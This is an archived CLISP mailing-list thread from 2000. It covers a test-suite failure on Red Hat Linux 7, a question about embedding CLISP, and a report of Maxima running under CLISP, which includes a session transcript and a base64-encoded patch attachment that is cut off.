Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i Subject: [clisp-list] Failure building clisp in Red Hat Linux 7 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hello. While trying to build the latest CLISP version on a Red Hat Linux 7 box I have got the following messages: ================================= [...] Test failed. To see which tests failed, type cat *.erg make[1]: *** [compare] Error 1 make[1]: Leaving directory `/home/romildo/rpms/BUILD/clisp-2000-03-06/build/suit e' make: *** [testsuite] Error 2 ================================= "cat build/suit/*.erg" gives me Form: (STREAM-ELEMENT-TYPE *TERMINAL-IO*) CORRECT: CHARACTER CLISP: (OR CHARACTER INTEGER) Any hints? Romildo -- Prof. José Romildo Malaquias Departamento de Computação Universidade Federal de Ouro Preto Brasil From Randy.Justice@cnet.navy.mil Mon Oct 16 06:50:01 2000 Received: from grlu5117.cnet.navy.mil (grlu5117.cnet.navy.Mil [160.127.129.23]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9GDnpA10675; Mon, 16 Oct 2000 06:49:52 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id IAA20182; Mon, 16 Oct 2000 08:49:35 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id ; Mon, 16 Oct 2000 08:50:59 -0500 Message-ID: From: "Justice, Randy -CONT" To: clisp-devel@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Failure building clisp in Red Hat Linux 7 Date: Mon, 16 Oct 2000 08:50:58 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id e9GDnpA10675 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion I don't know if this will help... I used the source tar... everything went "ok".... Best of luck.... Randy -----Original Message----- From: José Romildo Malaquias [mailto:romildo@urano.iceb.ufop.br] Sent: Monday, October 16, 2000 7:24 AM To: clisp-devel@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Failure building clisp in Red Hat Linux 7 Hello. While trying to build the latest CLISP version on a Red Hat Linux 7 box I have got the following messages: ================================= [...] Test failed. To see which tests failed, type cat *.erg make[1]: *** [compare] Error 1 make[1]: Leaving directory `/home/romildo/rpms/BUILD/clisp-2000-03-06/build/suit e' make: *** [testsuite] Error 2 ================================= "cat build/suit/*.erg" gives me Form: (STREAM-ELEMENT-TYPE *TERMINAL-IO*) CORRECT: CHARACTER CLISP: (OR CHARACTER INTEGER) Any hints? Romildo -- Prof. José Romildo Malaquias Departamento de Computação Universidade Federal de Ouro Preto Brasil _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net http://lists.sourceforge.net/mailman/listinfo/clisp-list From sds@gnu.org Mon Oct 16 07:58:32 2000 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9GEwWA14855; Mon, 16 Oct 2000 07:58:32 -0700 Received: from xchange.com (user-2ive1dl.dialup.mindspring.com [165.247.5.181]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id KAA29292; Mon, 16 Oct 2000 10:58:18 -0400 (EDT) To: =?iso-8859-1?q?Jos=E9?= Romildo Malaquias Cc: clisp-devel@lists.sourceforge.net, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure building clisp in Red Hat Linux 7 References: <20001016092331.G3594@urano.iceb.ufop.br> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: =?iso-8859-1?q?Jos=E9?= Romildo Malaquias's message of "Mon, 16 Oct 2000 09:23:31 -0200" Date: 16 Oct 2000 10:57:45 -0400 Message-ID: Lines: 18 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id e9GEwWA14855 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <20001016092331.G3594@urano.iceb.ufop.br> > * On the subject of "[clisp-list] Failure building clisp in Red Hat Linux 7" > * Sent on Mon, 16 Oct 2000 09:23:31 -0200 > * Honorable José Romildo Malaquias writes: > > "cat build/suit/*.erg" gives me > > Form: (STREAM-ELEMENT-TYPE *TERMINAL-IO*) > CORRECT: CHARACTER > CLISP: (OR CHARACTER INTEGER) this has been fixed in the latest development sources. thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! I don't want to be young again, I just don't want to get any older. From gko@gko.net Mon Oct 16 08:26:16 2000 Received: from symbiose.gko.net (IDENT:root@29.c138.ethome.net.tw [202.178.138.29]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9GFQCA16834 for ; Mon, 16 Oct 2000 08:26:13 -0700 Received: (from gko@localhost) by symbiose.gko.net (8.9.3/8.9.3) id XAA05219; Mon, 16 Oct 2000 23:26:06 +0800 X-Authentication-Warning: symbiose.gko.net: gko set sender to gko@gko.net using -f To: clisp-list@lists.sourceforge.net Organization: Entropie Mail-Copies-To: gko@gko.net From: Georges KO Date: 16 Oct 2000 23:26:06 +0800 Message-ID: Lines: 9 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [clisp-list] Embed CLISP in a C/C++ program? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hello, Has someone tried to do this? Thanks. -- Georges KO (Taipei, Taiwan) gko@gko.net Décade III, Quintidi de Vendémiaire de l'Année 209 de la Révolution From josti@bagel.epi.mcgill.ca Mon Oct 16 14:44:48 2000 Received: from SanchoPanza.epi.mcgill.ca (SanchoPanza.Epi.McGill.CA [132.206.248.33]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9GLimA10476 for ; Mon, 16 Oct 2000 14:44:48 -0700 Received: from localhost (josti@localhost) by SanchoPanza.epi.mcgill.ca (8.9.3/8.9.3) with ESMTP id RAA01121 for ; Mon, 16 Oct 2000 17:46:42 -0400 X-Authentication-Warning: SanchoPanza.epi.mcgill.ca: josti owned process doing -bs Date: Mon, 16 Oct 2000 17:46:42 -0400 (EDT) From: JC Loredo-Osti X-Sender: josti@SanchoPanza.epi.mcgill.ca To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] maxima on clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Maybe this is not the place for this message. If so, I appologize. This weekend I got maxima to run in my alpha machine under clisp and as far as I went, it likes whatever I tryed (weel only very basic stuff, but it seems to work). It this the right place to post the patch file? thanks, -j Here is a test output. CLISP 2000-03-06 (March 2000) Maxima 5.4 Thu Mar 25 16:49:44 CST 1999 (with enhancements by W. Schelter). Licensed under the GNU Public License (see file COPYING) (C1) f(x):=x^2+y; 2 (D1) F(X) := X + Y (C2) f(2); (D2) Y + 4 (C3) ev(f(2),y:7); (D3) 11 (C4) integrate(f(x),x,1,2); 6 Y + 8 3 Y + 1 (D4) ------- - ------- 3 3 (C5) factor(%); 3 Y + 7 (D5) ------- 3 (C6) f(x):=sin(x)^2+1; 2 (D6) F(X) := SIN (X) + 1 (C7) f(x+1); 2 (D7) SIN (X + 1) + 1 (C8) diff(f(x),x); (D8) 2 COS(X) SIN(X) (C9) g(y,z):=f(z)+3*y; (D9) G(Y, Z) := F(Z) + 3 Y (C10) ev(g(2*y+z,-0.5),y:7) (D10) 3 (Z + 14) + 1.22984884706593 (C11)h(n):=sum(i*x^i,1,0,n); I (D11) H(N) := SUM(I X , I, 0, N) (C12) h(7); 7 6 5 4 3 2 (D12) 7 X + 6 X + 5 X + 4 X + 3 X + 2 X + X (C13) functions; (D13) [F(X), G(Y, Z), H(N)] (C14) t[n](x):=ratexpand(2*x*t[n-1](x)-t[n-2](x)); (D14) T (X) := RATEXPAND(2 X T (X) - T (X)) N N - 1 N - 2 (C15) t[0](x):=1; (D15) T (X) := 1 0 (C16) t[1](x):=x; (D16) T (X) := X 1 (C17) t[4](y); 4 2 (D17) 8 Y - 8 Y + 1 (C18) g[n](x):=sum(ev(x),i,n,n+2); (D18) G (X) := SUM(EV(X), I, N, N + 2) N (C19) h(n,x):=sum(ev(x),i,n,n+2); (D19) H(N, X) := SUM(EV(X), I, N, N + 2) (C20) g[2](i^2); 2 (D20) 3 I (C21) h(2,i^2); (D21) 29 (C22) p[n](x):=ratsimp(1/2^n*n!)*diff((x^2-1)^n,x,n)); 1 2 N (D22) P (X) := RATSIMP(----- DIFF((X - 1) , X, N)) N N 2 N! (C23)q(n,x):=ratsimp(1/2^n*n!)*diff((x^2-1)^n,x,n)); 1 2 N (D23) Q(N, X) := RATSIMP(----- DIFF((X - 1) , X, N)) N 2 N! (C24) p[2]; 2 3 X - 1 (D24) LAMBDA([X], --------) 2 (C25) p[2](y+1); 2 3 (Y + 1) - 1 (D25) -------------- 2 (C26) q(2,y); 2 3 Y - 1 (D26) -------- 2 (C27) p[2](5); (D27) 37 (C28) f[i,j](x,y):=x^i+y^j I J (D28) F (X, Y) := X + Y I, J (C29) g(fun,a,b):=PRINT(FUN," applied to ",A," and ",B," is ",FUN(A,B)); (D29) G(FUN, A, B) := PRINT(FUN, " applied to ", A, " and ", B, " is ", FUN(A, B)) (C30) G(F[2,1],SIN(%PI),2*C); 2 LAMBDA([X, Y], Y + X ) applied to 0 and 2 C is 2 C (D30) 2 C (C31) romberg(sin(y),y,1,%pi); (D31) 1.540302306426815 (C32) quit(); From sds@gnu.org Mon Oct 16 20:06:06 2000 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9H366A30025 for ; Mon, 16 Oct 2000 20:06:06 -0700 Received: from xchange.com (user-2ive2q8.dialup.mindspring.com [165.247.11.72]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id XAA23380; Mon, 16 Oct 2000 23:06:02 -0400 (EDT) To: JC Loredo-Osti Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] maxima on clisp References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: JC Loredo-Osti's message of "Mon, 16 Oct 2000 17:46:42 -0400 (EDT)" Date: 16 Oct 2000 23:05:49 -0400 Message-ID: Lines: 20 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message > * On the subject of "[clisp-list] maxima on clisp" > * Sent on Mon, 16 Oct 2000 17:46:42 -0400 (EDT) > * Honorable JC Loredo-Osti writes: > > This weekend I got maxima to run in my alpha machine under clisp and > as far as I went, it likes whatever I tryed (weel only very basic > stuff, but it seems to work). > > It this the right place to post the patch file? You should also send it to Bill Schelter did you use my patches or is this completely independent? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From josti@bagel.epi.mcgill.ca Mon Oct 16 20:56:03 2000 Received: from SanchoPanza.epi.mcgill.ca (SanchoPanza.Epi.McGill.CA [132.206.248.33]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9H3u3A32198 for ; Mon, 16 Oct 2000 20:56:03 -0700 Received: from localhost (josti@localhost) by SanchoPanza.epi.mcgill.ca (8.9.3/8.9.3) with ESMTP id XAA01332; Mon, 16 Oct 2000 23:57:58 -0400 X-Authentication-Warning: SanchoPanza.epi.mcgill.ca: josti owned process doing -bs Date: Mon, 16 Oct 2000 23:57:58 -0400 (EDT) From: JC Loredo-Osti X-Sender: josti@SanchoPanza.epi.mcgill.ca To: Sam Steingold , wfs@fireant.ma.utexas.edu cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] maxima on clisp In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="3464765944-1789717074-971755078=:1324" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --3464765944-1789717074-971755078=:1324 Content-Type: TEXT/PLAIN; charset=US-ASCII On 16 Oct 2000, Sam Steingold wrote: > > > > This weekend I got maxima to run in my alpha machine under clisp and > > as far as I went, it likes whatever I tryed (weel only very basic > > stuff, but it seems to work). > > > > It this the right place to post the patch file? > > You should also send it to > Bill Schelter > > did you use my patches or is this completely independent? > Dear Sam, nothing is completely independent nowdays, but I didn't try your patches. However, I'd like to see them. Where can I obtain the file(s). What I did was to start with an old version of maxima (because it showed fewer errors at compiling time), then I downloaded maxima from the cvs sources and I tryed to do the same. The recipe: copy the patch file inside "maxima/src" and ungzip it, then move "makefile" to "makefile.orig". The patch creates a "Makefile". Edit the first lines of that Makefile to reflect your system and that's it. After typing "make" and before installing it you may like to try "./maxima". Some things are not yet, e.g., debug refuses to work. Best regards, -j --3464765944-1789717074-971755078=:1324 Content-Type: APPLICATION/octet-stream; name="maxima-clisp.patch.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="maxima-clisp.patch.gz" H4sICMph6zkAA21heGltYS1jbGlzcC5wYXRjaADUPOtf28ayn5O/YgqcIIFl LPmJSXJKwEm51zxqyLnNvb1NZVk2amTJSDKPfjh/+52Z3ZVWxjjQm6YpvwTL uzOz89rZ2dkVW1tbcOx+8sdB6FfjJJg8O44jOPUysFv4r2s3u7U6OLVa7bll WTnoIlSj60iorfIPfYca8CMRsCvNJuCD9XwbZgnSun21M0+TnTD23BDbDvpH 52dn+xc/vNowRL+5EwbDHS8M0tnO0E19BBL/3g5Oj88GPXgFMHVvg6krmqvn 79++Pfqpd96FKlKAKmFCdeym9DgkCGzm1i5+eZb6I7B82Ex/+Z4HsWZudvn9 LxtGzor5yyZsvITXsPF9Prgbhl0Yx4nnlwZPwzie8Vhd+UwkaRimDdYVWB4S E9BT1KYE5kcGyUmUsQLRoaOnd+nIH6vRxJcyiXyE5bSot0Qwc6dl7nUa+njh dOSF6RLhSqQFgg4M1i1sGtTZZYiuUB50vXg6Q7+CzNwkgpmfZmCNYRYHaZ1H fPECsnjuXRZMKh0SgerUn36O5xzxZxoB3HkWh4IppPHRv83El2s/SYM4kpp0 r/0VUkoBSygsYRi7I1jLsddMMOgLcglrBcdrLGwuRFcJQ26r+xbBrnDVauGf e+BdTuMRbN+W3FL8CyJUAfltQVUb8Y/MhWeSJM7oSRLPZ6+SOEa7WfFN5Cfq C/Ljv3K3k1s1T6GY2sMgeioZ0NnXORNCeqHvRnJqEmkrmZIjbdHcx9/kCFuM 6sWo5a1/C6xRkGYSkz80TF2PTLV7r5PpLfgl66+K+vMuGSEYw//AdxoOBSEK uPC/e5Bd+pF074XePRgHZfRStF5ALvUp1FEwHtMsLyOqb2hKMaRF3vOzjrDI qOadr+9joW4gQB9jVaezPRjFoChtGD+cHvfMHe863RF4O2ni7WxsBED/y9RG ceTzsrEw/uqVqQB+dj6XcE2wO91mo4sIj1ubHLU0rX9HrrmTXuKzf+t7UMz9 Y9Dnxo7mAWsb368xzZ3LeOrv/BanWbAoshdOXU/EQpbn2L0D6EDN6dZ2uw27 kEcH1AXa7dba+O9hgexGp2LjIssNAM+ePcOgKh4MI82SIJpY/tXcDSG6hehO doHhxdEIDMO/ku0QBaH53OJO8WMY0RwnqZHeTYdxiPJ7n9yJD7fm42HvFCzo sBkoxkI/xVjLndRrSDwrcqf+soEfC4rj0o8wMyuoLky9TIN1p1Wp13cLDQLr hVRmeG4CaBMTB5ddOJafXVEj9o5krxfPI5RqbFvi0TQVOAlLa4eV+Nk8iVgb 1PsdU+JV5SbILuEa8xqiyR34c3NJk9V4LUnXzIUOGvpaa8SYUPDMfcSy7Map SVyPl/Ap2iU5+uSHHNMPU1+hXyGTEjDvFw8kK30jXSg15Z9kg7rTQBU3hA3+ AhVTsLoGnH9SxTzKMhXrHbmKZeNDKubup6vYXKm1pY7atCsNJ5/qAOvb4dwL RlJfEYbJdrvt2A0T9vbu5p8+faoymJH40/jahyDDqIWjZZR/EZcRdDnz2mSx mCOc1QbmONdolC3XmydpnGyp6S77MDrheNZ8Zol+MNyEunGgWMcScmvfKUuz 3CTBGGjXoOuHmCBFmZXdzTAHwfwgmk950hKl0EclGuwCjGGNAgSmtCsFHE6C gRwEYXx9qJpJFKIJTizSbgGseUMgvEGsY+MknkKrsOIiwQAJji3Ess1l1CQB G9fl0sArCdZEiNLU6pJeh3eaXgGu3bCkEuqDglDBzcj3QhwEpwPp0+ANT1do W+oWgJAKDN/DASVnTLamurDTLjHuJjocKoH50sCdleD6N+c+cv0JyPq3uiK1 xCS/oe5vIjbLcgnZNnIVfKnD/FYawxhvQxPbTLHglTjNwRFmocnO4UVUspiT BQNnEohXxPtka6amJG3FDlE48vAVlGUMFP4Fyr8wAQyFR5BrcbzFPhHZxAo6 o8n1HPKpdcXWmKDn4efm/mCw/0GF1vVtLxQxVhDYeaWmauJGn4gOKkGuEwUp LQZI6CzGvYCVBr/7jNPF3HwWup4/wh451b/LSdxSvFWa4JRDhGClo9yliXIp wJBcHKsNMRtw11Yz8ybcwGXUUi3ajMzElmIxeaYyHSY+w4FpjmVCltsFkAxN cmvyLMwWOvm7VIxU3es8aJAG0LR5GmCUI60QQnd1uVYtmJ807bGJeWTydJdU RmsQsSV0qb6bUkL8t/eQp2DXUlfh9s/4yl4Rz1HKXFYDdzIyTomhIANTWLyg m0c1aTXCzYne84O9Z4Vsn3OFPZWRKtK1hVb2CfKIUjO5hXAKNZ62Cgz9ML5h HgXOQvhHvQSmMv8e5ucoQDrTWF9BilrntGjdriA9l7yOgwj313fiSykocrC4 T10LiWWivxHRguHc9x/k2JjSwqrb+VZiL2dZPN/iY5l3eAzbim9OoefwKqdG i3XAQbgEt0Q+KAmITuonCQ65NnRHmOawh7nJhBb2fE6siQnD2ZoWXYtoYNyK rUe9gTuLdlulvX9OwvbnRPc/MGFXz9dl0/UJs3XpZF0+V5dP1VXTa/VELc/T 1XRKs3TVJNXn6COm6ONm6MIEfdL8fNT0fMLsfOTkfOzc/JJTc9neqtFpVRq7 DbW32tuD9+iP5PApFRiEJ6bcgCTdeZhR5jn3IR4De1+1WkxGcpfMxfm6lU5R WxYCoM9uKT8NfTfNrFmcBllw7VvpZZxkluiyq7VRTe0KRO4m/1E8adQ7lUaj KGWsrDzF02EQPabypAE+qZRWd9p63eS5TAmpNpPEkwiNlu8kh9EWrFMuBZZd RSH5o4kfrV18aONDvWXjBwrYom92u9GysafTbDTtelXtii2n3qq3GjVE4qZO s1m3a/UqdbTRei275uwiVstudhq2027VajRIu13brTt2DZtwEMZ0mu12q9Pu NDt1HJA9rGB2pJit15Alp8qfrVYVnDY/Ies2frZ3O9hFLXa9o3V22tTUqDtO 9TnkP4zSWhjKn9NQuTJsJkWPzVrTsYlmDaWgBnt3t96q7XYIZLe+azdRlkaz qmoIltOoNTrt3Va72WggTL1dq7dtu9NBxTQdoel6o9NpN+q7dbve3q3ZVZ4n 5vO8RCOsKdeqz1lz829lzs2vaM/Nb8Cgy6Zrq9mqtFpOUT1S6/HvfoKRfORH oiJlUOUmmNAiSxBjBzAYwxBwrw175BO41YNprEcwuSYbv4ADjaKwhS5UNfzb WYbNdVuL41tX87hE3OThzYWERgAYkYDYc7YMdxh9rG270Ud7G5+c7ehjnUcz smDqpziMMQvnuGcXX3kLFJmMzj6uVJDnY9+GCiZfSQVLvaLdrLQ6dl78Bi79 gDcWW1c7F8XIcplE0jabye2t4Y5Gtr6Uk/rGQYJd3pg3m6xlfFYFfKF65Cxv 0+heXSm6BaLGB4FdYpqBw19dSbNKGVR1+YvIMP6KQiw1TKdewXCqG2ZZydGh 9CdSERVU8dobqyZMq7T80ZjNU0zkt4WRJPfiYTbLz1cU09REvx5HACVZJEBN LGHBn1SQJyvipDzVm+eWspAvNZj4dODuEyPFF6JcnPEoZWke8OWUxcW98f9L XctJ/EUKW+ptu6RAPZfLN5XRyPLGNkoCV/AinmVBjINCGltjEmEeZ/B7aA16 xyA3nML/qd2g3wFu5ABxS2U8iWFY2IN+xNBXJpiSBGUcYIiwlldoJQ4VPoMI tSG/X6nvTMTS51ge2AWoWeiJEnSBIOQoHEnqociCvooexqyI8beiiWUe0q43 K+1Gp0gfLnArhEuen7gZVRyRN1zAqBKNu//ED11aFnF7y8PPElyN1p4vzEo+ g8kdFB1b1SpZN1T7QN9AotZkIs8ci8NB7t3mD2QCIYogL2or3Cixy12SIqJy u9qHM4jUi1Kc0jkXT1++Uqik+ZdqiLxiDHL+kVvLcelRsVccVwowSSvv1pd+ rqFYWTwz5lE6870APe1GuqgyRJ7EfBVDjFdbYvytmmKs2WL8ZY2xbJbYtU6t gr9a+n0MpEI1Ly1toMM9HGvoJzOlCco4pyJ1Y442Df5mwmXRwDmdiVMbUzpM J1RxSy4hrJmC6nJq0X1qDlwW1EQOJBdQ3vlJBschHb5lSjXF6qQiiTuap5gB +zmAwPPzAf8xDNAtUXvExRbul7YUIHM+SXw3I9ZDNqo7ImrGKOaPBZ7vSAe+ KahADVmcD20IBX/i1kduiPzOwd/YEIUF/gbq/3xhauo8ri6l4J5Ulmq1d3E3 UFznMQ5OT85B/n7Xuzg9G8D+4AMd7smKN3YeDuD8/Ztz01TlcVLthcTaNI5/ 3D87638AgSCbkUgJU8YMOkQ77L093j8YnMIGYxydvD0FgwYVB1e/ijJtEI1j y53fwmbFTaik6o59S1QVqSE/lGNyFHlK5Agir+LfieSQscTh4cIQnHAKlImf iUHytsVd5wJqejcV1xDyoCC3XaToYoJ9fUWv1PNT1Pw04R/h4K73SA9XgAt3 /jpdu/Gwi+86tcqu0yqK1biZnIcjGPrgjtxZ5o94WXdh5iZZ4M1DquVj3OFT FZcy1yqjUTV7fTuKPQxTUQzi8HgW4wwfh+6E7i8hUb5vOqRUgs6kRmIntTXG aDFP/FSMTxFk5ieX7iwFzCIiSKc4spVld3RViHZdWRVNsm6RrFO9vqGGBONF QidbbjJJ4QVp/sqGK0cl0/rREYGY+WFAQWEU+2m0mcGniHbWXJiJozVTVkdY 46y4Vl257N9GcaS7bb76LKuND6lObi7yUziVr2zd4P4lvtlSu4/pPMwClEvM AwuXBlTvnbgb4CW+H3UFgrxQYCl1FoT0QykjGINmm7yOInYXd+qa3DN1qoim lbUVhi+fAxlXTl41Ed1lguQHYtnG8a74ehC1iQLcTLSIPsfUllElF12U+Ixs nBYgjxQs6cnJj8iIUJY/5W3GEhbyL84fZKJQ2wODZrk61OkuD8xnaKRhPkZT N2P5miz1Y45MF4QFEXl7UjtXy81Cvpe72JpZSkgMcVjrXbqJRbes+OuVrVNd /9lFHaBfXuKcj/zCb8qDr/88BOMmCTLfImqw/vMb1/uUzlxvBYqX65Eu7ydS kw/D+0vhMaO3fNz3Pog2XuDsfDVXn1aDF7BPFzhcIUD4MNrvT/E3hanQrcVI wDe0irHIlRZwdBkz7bnM1e3T1Jo9adLUKHktUYgxDCc3AfmrdPN5RCtExE5O 0T67DFLgLN0ve7x+MWrdolAgli8OxOZfs4p9LveYxeHdY1KPAu5ecu3srnjb wG5WbKdeqkqrk4dqDexqo+nXO3xOsgc3LrXuYgMM55lYD/kdlJuYJOSXpsSe CYGDiGqzcWT1WcfpXZr507QK0KtOqnR1+/gAJsE1DpSjnLw/7g2ODqzTf/UG b/un/wUWDHr7h4Cf/3H27rnFPPhcB5mnQTTBEaOJPGgPIvV2ErmAOKB/nl9q JLtiapbEQlEWLqYTXx7jg2Gqg/zyEVBBXWWUe8jAgPdnKfBNAPINhE+DIWpB kPsn39G5Q9Ez+G1OvgPq+sA/icy6hRzxjlaqXq9xf6uqf6oiSUh+M+8Bheqb YUH7PrR2jeKL63/pVHBaFbvuaFNhfZvzAIoOx3CwfzhA+f4xs0azIdg1jEy1 Wju/qqRqZCWcequG4Qut6VtoyYe1qN8q0bS4cK9ktT/OEswM6T59foOFZsgs RmfAjBV7U5Xy0r0XJg10JhqMA4+utig1SrILFET1g3TrTtwgqsDDKmbfZl3q vv1X61J55IM6Xe6SD1/t+aZt8JlVha40ueEjlhUd8GnritNhB+AG4RHU0Ciq 3HvG0fFZ//SwJ4sC6zsbYPR+4qYT+EkVFGS+i7J5sLkh3xmjN/yEPWnNPuy9 fX8CB+cXg/PexfszKhi8k8iHp7g841eg/1xyoD50iotBrwcnR32tbGEYJ+/7 fQYAA33uYovcZ9PYp/IH4hDKQ1Xihl2xGy1N2oZTsVu6/xsXqlCOTP7IxOTL Qcb+4aFD3COD+/uCQ9GP3w9lg0xdtpVj4tNSuYlvAlOyH56e9KiNZS2JvX1P bMZdJbpAMfq9C6lVZHCQY5rwr/2+RhetekhwF6fHUqksOQLh04fjN6d9hDgg owoBc8yiiFQgUMRQtuNWfXhTx5bs9TVnukffOHqL2iL2yPXOhGf077EgYE9O kd5x7/hHOfIC+2trYAx6uGye9wSd/FvfNO+LtfiTG2gRNBeTe8UcKcy0AHs2 OH13sqjAwtEKFyO1cRPZ6p7KGSPnSBXr3uVND2AUTB5q7pAX9iCPkwUfL2n/ +hpeZrgT4A83SkOOjK9NCfy5IDZ2vSxOHhHEdMCnBbF6vUlBy9EOf9ht9vvv 3u4fFMdB0kve7b8/PxcSl9qNo0HvkCbo2fHpIRwfnZyd9j9smaU6iakVYKRW ++/QABfG2N5Wz9pRgfHuFE56P12cle6q4AAnRwdH/y1d8b3ex0Tf2DRrLg5+ gM3zsz6Z7OxNb2ATpFkalt+sokgmdWBr5y5/lg5WyP2VJf+M6038CPd5D7me U7ieDvgk13OciqOdzcPCZhOJmqqKzYtK3oyb6uIVbZDlIISU79XlF/tV8oKb aR8CcREal/s0SHwqn1661wHuozCNETQJVhb7RAMdDYF6NrbBgU0XqcPeq1ev OadxwxR4M8yKQHkatWLx/7LycDVVLIt6PqiYww3hVLvhQUxz06ZYCLW3I4Zh 7H26Fu9QRJh4FOr61XjTPz34T6goENkO+YJz/uG8293qDQanA+sHnCD93mCr AFI/65tGf//4zeE+GC8GPYyZGC7PzftwTPiwd9DfH6BHH707OcVPhn0IeIA5 wODEor+qU3AJFSnsIpZZpsOLPlRKkEq5X89Rlk2EeqNSXEnf2xOnoziyK96j wW0/MRQh42harlveqBMAwXle6/FvvRD4dR1TVnrKbiIqPaGJtmbSFfEmuzxO 4uv6rUrTLs4avggvsvj0Bzj6TIzS/mrP6hilAz4pRmGO2yxesBD1Oe2l1rzx GSyrXd/wi5HrP2+YApCnKW7UMlgb0AEL7XvUaccsiWd+kt2Rm8G/XVij+xpF UdCLw9BHrn9F7U68kN62IgzYrNwUFU2afBbrfVOSLfdtiz763e1WJ2E8pKsr loStloBLh/nr2xO6QMwvwhYXSnDsEpT+rF/kEn+RQf0xAvnnE67N/P15DVKK qbX8SueXXugGGMwq2v2fG/JFuIbyu2I3Zq4pdfeITFicnv1FJtRkEwZEuZaY EB62IDzBgJDbrzDerw9a79sx19IsodOqOLtOER6PAOOxD1kSYFjKMJKEwTSI 3MwHN7rLLskgXD/HQOVGMENWIhjPIy8Tf4cB7c4RKGVi/J5XHPlANfWbmIoB 6XyYZin1XQbeJRyBPG+lVw4TDGZkXMu6GQsCcOiPgygQxCPfHwmm5qhB/Q+Q 6Wu2unYvQh+uDib+V+u/BibLO0vB9ngNKlSdH5oO3vd7bw9O+rCBLHwcu2n2 kS8HpCCng9Npoj61EP831acqdn0Lev3MMvV/7X1pexpHtvBn+y+8XyqIhG6F xgKhfZJ7EUIy12wBNLbveCbTQEtixDbQ2NY8fvLb37PU1k0jIS+xM3f8JHbT XeupU6dOnRWjJN1tElDJLvioY2p/J7uvTSukggfGOfCAoPnCsTlDevNuOr/F WEYLuDRiQCJ6qaRRiXp2dEXCFl1nMTyeT6djD9aP6nnskunhV9Rb+ErcRMWJ 1bIkWHD5qDYugd/7odnqVpsNFHxso0hv4M8H3nAyW4bbIv7CeC+c4u3GA/bz 